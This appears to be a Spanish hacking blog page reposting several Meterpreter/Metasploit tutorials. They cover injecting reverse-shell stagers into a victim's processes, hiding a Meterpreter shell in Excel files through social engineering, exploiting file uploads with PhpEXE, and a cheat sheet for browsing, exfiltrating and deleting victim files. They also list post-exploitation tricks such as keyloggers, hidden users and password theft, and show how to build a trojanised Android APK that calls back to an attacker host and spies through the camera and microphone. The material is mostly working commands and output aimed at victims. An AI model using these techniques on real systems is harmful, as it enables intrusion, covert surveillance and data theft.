Banner 1

Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas
Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

0 comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each.
OPTIONS:
-h Help menu.
-m Start Exploit multi/handler for return connection
-mp Provide Multiple PID for connections separated by comma one per IP.
-mr Provide Multiple IP Addresses for Connections separated by comma.
-p The port on the remote host where Metasploit is listening (default: 4444)
-pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp
Un ejemplo de ejecución de este script puede ser el siguiente:
meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344
[*] Injecting meterpreter into process ID 628
[*] Allocated memory at address 0x00d60000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 628
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344
[*] Injecting meterpreter into process ID 792
[*] Allocated memory at address 0x003e0000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 792
Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante
meterpreter > run duplicate -h OPTIONS:
-D Disable the automatic multi/handler (use with -r to accept on another system)
-P Process id to inject into; use instead of -e if multiple copies of one executable are running.
-e Executable to inject into. Default notepad.exe, will fall back to spawn if not found.
-h This help menu
-p The port on the remote host where Metasploit is listening (default: 4546)
-r The IP of a remote Metasploit listening for the connect back
-s Spawn new executable to inject to. Only useful with -P.
-w Write and execute an exe instead of injecting into a process
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444
[*] Running payload handler
[*] Current server process: sgiByfbLo.exe (1780)
[*] Duplicating into notepad.exe…
[*] Injecting meterpreter into process ID 3884
[*] Allocated memory at address 0x00e10000, for 290 byte stager
[*] Writing the stager into memory…
[*] New server process: 3884
Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado
meterpreter > run process_memdump -h USAGE:
EXAMPLE: run process_dump putty.exe
EXAMPLE: run process_dump -p 1234
OPTIONS:
-h Help menu.
-n Name of process to dump.
-p PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Un ejemplo del uso de este script puede ser:
meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe
[*] Dumping Memory of iexplore.exe with PID: 556
[*] base size = 64
[*] base size = 128
[*] base size = 192
[*] base size = 1224
[*] base size = 1228
[*] base size = 1280
[*] base size = 1344
[*] base size = 2368
[*] base size = 2432
[*] base size = 2496
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp


Fuente: http://thehackerway.com/2011/06/10/359/

XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

0 comentarios

Es una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

    * Una Maquina (virtual o real) con Windows
    * Microsoft Excel
    * Perl
    * El modulo Win32:OLE para Perl
    * Un archivo XML a infectar
    * El XLSInjector
    * y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:
Código:
perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

iniciamos la consola del metasploit:
Código:
set payload windows/meterpreter/bind_tcp
set RHOST ipdelpcvictima
set RPOT 4444
exploit
 
Fuente: http://underc0de.org/foro/hacking-basico/xlsinjector-inyectar-shell-meterpreter-en-archivos-excel/ 

How to use PhpEXE to exploit an arbitrary file upload bug

0 comentarios
Arbitrary file upload is surprisingly common among web applications, which can be abused to upload malicious files and then compromise the server. Usually, the attacker will select a payload based on whatever server-side programming language is supported. So if the vulnerable app is in PHP, then clearly PHP is supported, therefore an easy choice would be using a PHP payload such as Metasploit's PHP meterpreter. However, the PHP meterpreter does not share the same performance as, say, a Windows meterpreter. So in reality, what happens is you will probably want to upgrade to a better shell, which involves extra manual work during the process. So why limit your payload options? For this type of scenario, you should use the PhpEXE mixin. It serves as a payload stager in PHP that will write the final malicious executable onto the remote file system, and then clear itself after use, so it leaves no traces.

Requirements

To use the PhpEXE mixin, some typical exploitable requirements should be met:
  • You must find a writeable location on the web server.
  • The same writeable location should also be readable with a HTTP request.
Note: For an arbitrary file upload bug, there is usually a directory that contains uploaded files, and is readable. If the bug is due to a directory traversal, then a temp folder (either from the OS or the web app) would be your typical choice.

Usage

  • First include the mixin under the scope of your Metasploit3 class like the following:
include Msf::Exploit::PhpEXE
  • Generate the payload (with the PHP stager) with get_write_exec_payload
p = get_write_exec_payload
If you're working on a Linux target, then you can set unlink_self to true, which will automatically clear the executable:
p = get_write_exec_payload(:unlink_self=>true)
On Windows, you probably cannot clear the executable because it will probably still be in use. If it's not possible to automatically clean up malicious files, you should always warn the user about where they are, so they can do it manually later during the penetration test.
  • Upload the payload
At this point you can upload the payload generated by get_write_exec_payload, and then call it by using a GET request. If you do not know how to send a GET request, please refer to the following article: https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

Reference

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/php_exe.rb

Fuente: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug

Metasploit Meterpreter command list / cheat sheet thumbnail Metasploit Meterpreter command list / cheat sheet

0 comentarios
Get all the files/folders in a directory
Syntax: client.fs.dir.entries
Output: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"] Comment: By default it will get the files and directories of present working directory.
Syntax: client.fs.dir.entries(“c:\\”)
Output: ["sample_file.txt","dummy_directory","myfile.exe"] Comment: This will get the files and directories of c drive.
Get all the files/folders in a directory along with extra information
Syntax: client.fs.dir.entries_with_info
Output: [{"FileName"=>".", "FilePath"=>"c:\........ "st_atime"=>0, "st_mtime"=>1329581528}>}] Comment: By default it will get the files and directories of present working directory.
Syntax: client.fs.dir.entries_with_info(“c:\\”)
Output: [{"FileName"=>".", "FilePath"=>"c:\........ "st_atime"=>0, "st_mtime"=>1329581528}>}] Comment: This will get the files and directories of c drive.
Change the directory
Syntax: client.fs.dir.chdir(“c:\\”)
Output: 0
Comment: This will change the present working directory to c drive.
Make directory
Syntax: client.fs.dir.mkdir(“c:\\oldman”)
Output: 0
Comment: This will make a directory named “oldman” in c drive.
Get current working directory
Syntax: client.fs.dir.pwd
Output: “c:\\oldmanlab”
Comment: This will give the current working directory name
Syntax: client.fs.dir.getwd
Output: “c:\\oldmanlab”
Comment: This will give the current working directory name
Delete a directory
Syntax: client.fs.dir.delete(“c:\\oldman”)
Output: 0
Comment: This will delete the specified directory only if empty.
Syntax: client.fs.dir.rmdir(“c:\\oldman”)
Output: 0
Comment: This will delete the specified directory only if empty.
Syntax: client.fs.dir.unlink(“c:\\oldman”)
Output: 0
Comment: This will delete the specified directory only if empty.
Download contents of a target directory
Syntax: client.fs.dir.download(“/root/oldmanlab/”,”c:\\oldman”)
Output: [".", "..", "firefox.lnk", "my_file.txt"] Comment: This will download all the file inside oldman directory of victim and will save inside the oldmanlab directory of an attacker system.
Upload contents of a local directory to victim system
Syntax: client.fs.dir.upload(“c:\\oldman”,”/root/oldmanlab”)
Output: [".", "..", "firefox.lnk", "my_file.txt"] Comment: This will upload all the content inside oldmanlab directory of an attacker to the oldman directory of victim system.
Get the file separator
Syntax: client.fs.file.separator
Output: \\
Comment: This will give the file separator used by the system (\\ for windows, \ for unix.
Search for the specified file
Syntax: client.fs.file.search(“c:\\oldman”,”hacking.txt”)
Output: [{"path"=>"c:\oldman\lab", "name"=>"hacking.txt", "size"=>4}] Comment: This will search for hacking.txt in the oldman directory and its subdirectories
Get the basename for the specified file
Syntax: client.fs.file.basename(“c:\\oldman\\hacking.txt”)
Output: hacking.txt
Comment: This will give the filename of the filepath specified.
Expand path of the directory
Syntax: client.fs.file.expand_path(“%TEMP%”)
Output: “C:\\WINDOWS\\TEMP”
Comment: This will give the absolute path of the shortcut specified
Get the md5 of file
Syntax: client.fs.file.md5(“c:\\oldman\\file.txt”)
Output: “\x12,\x17~Fj\xFEq\xB7?’\x01;f\x7F'”
Comment: This will give the md5 sum of the specified file
Get the sha1 of file
Syntax: client.fs.file.md5(“c:\\oldman\\file.txt”)
Output: “Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw”
Comment: This will give the sha1 of the specified file
Check if specified file exists
Syntax: client.fs.file.exists?(“c:\\oldman\\file.txt”)
Output: true
Comment: This will return true if file exists else false
Delete specified file
Syntax: client.fs.file.rm(“c:\\oldman\\file.txt”)
Output: Rex::Post::Meterpreter::Packet type=Response….meta=INT value=0
Comment: This will return true if file exists else false
Syntax: client.fs.file.unlink(“c:\\oldman\\file.txt”)
Output: Rex::Post::Meterpreter::Packet type=Response….meta=INT value=0
Comment: This will return true if file exists else false
Upload file to victims system
Syntax: client.fs.file.upload(“c:\\oldman”,”/root/lab/evil.exe”)
Output: ["/root/lab/firefox.lnk"] Comment: This will upload evil.exe from attackers system to victims oldman directory
Download file from victims system
Syntax: client.fs.file.download(“/root/lab/secret.exe”,”c:\\oldman\\secret.exe”)
Output: ["c:\oldman\secret.exe"] Comment: This will download secret.exe from victims system and will save it to attackers root directory
Open a file in read mode and copy the content to some variable
Syntax: file1 = client.fs.file.new(“c:\\oldman\\my_file.txt”)
temp = “”
until file1.eof?
temp << file_object.read
Output: N.A
Comment: This will copy all the data inside my_file.txt and store it in temp variable
List all the available interface from victims system
Syntax: client.net.config.get_interfaces
Output: [......] Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc
Syntax: client.net.config.get_interfaces[0] Output: [......] Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc
Get the IP address of specified interface
Syntax: client.net.config.get_interfaces[1].ip
Output: 192.168.7.3
Comment: This will give IP address of the second interface in the list.
List all the routes available in victims system
Syntax: client.net.config.get_routes
Output:
Comment: This will return an array of all the routes available in the victims system along with the details like subnet, netmask, gateway
Syntax: client.net.config.get_routes[0] Output:
Comment: This will return an array of the first route available in the victims system along with the details like subnet, netmask, gateway
Add a route in victims system
Syntax: client.net.config.add_route(“x.x.x.x”,”x.x.x.x”,”x.x.x.x”)
Output: true
Comment: This will add route in the victims system. The first parameter is subnet, second is netmask and third is gateway.
Remove specified route from victims system
Syntax: client.net.config.remove_route(“x.x.x.x”,”x.x.x.x”,”x.x.x.x”)
Output: true
Comment: This will remove route from the victims system. The first parameter is subnet, second is netmask and third is gateway.
Get the user id
Syntax: client.sys.config.getuid
Output: “NT AUTHORITY\\SYSTEM”
Comment: This will give the user id of the victim system. It basically shows our access level.
Get the victims computer name
Syntax: client.sys.config.sysinfo["Computer"] Output: “WINXP-1337″
Comment: This will give the computer name of the compromised system.
Get the victims operating system name and version
Syntax: client.sys.config.sysinfo["OS"] Output: “Windows XP (Build 2600, Service Pack 2).”
Comment: This will give the operating system name running on the compromised system.
Get the victims operating system architecture
Syntax: client.sys.config.sysinfo["Architecture"] Output: “x86″
Comment: This will give the architecture (x86,64-bit)of the operating system running on compromised system.
Get the victims operating system language
Syntax: client.sys.config.sysinfo["System Language"] Output: “en_US”
Comment: This will give operating system language of the compromised system.
Revert to previous user privileges

Syntax: client.sys.config.revert_to_self
Output: N.A
Comment: Let say if we had change privilege from “NT AUTHORITY\\oldmanlab” to “NT AUTHORITY\\SYSTEM” then revert to self will again change our privileges to “NT AUTHORITY\\oldmanlab”

Fuente: https://www.nightlionsecurity.com/blog/guides/2012/04/metasploit-meterpreter-command-list-cheat-sheet/

Best of Post Exploitation Exploits & Tricks

0 comentarios
Buenas.

Comparto varios trucos de post-explotación:

How to Find ALL Excel, Office, PDF, and Images in Remote PC
How to Delete Passwords/Cookies/History/Temp Internet File of Internet Explorer in Remote Victim PC
Forensics Investigation of Remote PC (Part 2)
How to Lock Drive of Remote Windows Victim PC
How to Broadcast YouTube Video in Remote Windows System
Hack Remote PC with Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation
Get Admin Privilege of Remote Victim PC using Windows SYSTEM Escalation via KiTrap0D
Recover Deleted Data from Remote Victim PC
How to Encrypt Drive of Remote Victim PC
How to Hide File in Remote Victim PC
Hack Remote Windows Password using Keylogger in Meterpreter
How to Gather Installed Application in Victim PC
How to Gather USB Drive History of Victim PC
How to Gather Wireless Current Connection Info of Remote PC
How to Disconnect Wireless Connection of Remote PC
How to Find All Connected Wireless Network in Remote PC
How to Gather Windows Product Key of Remote victim PC
How to Gather Microsoft Outlook Saved Password in Remote PC
How to Hack Save Password in FileZilla of Remote PC
How to Detect Install OS in Victim Virtual BOX
How to Create hidden user in Remote PC
How to use Keylogger in Meterpreter

How to change password of Remote PC in LAN

Fuente: http://www.hackingarticles.in/best-of-post-exploitation-exploits-tricks/

Meterpreter para android

0 comentarios
 Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.
Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.
Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)


¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk


Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk 
meter.apk: Zip archive data, at least v2.0 to extract


Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.


$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E




Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.




Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.
Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.

Fuente:http://www.pentester.es/2013/05/nuevo-meterpreter-para-android.html
Powered by Bad Robot
Helped by Blackubay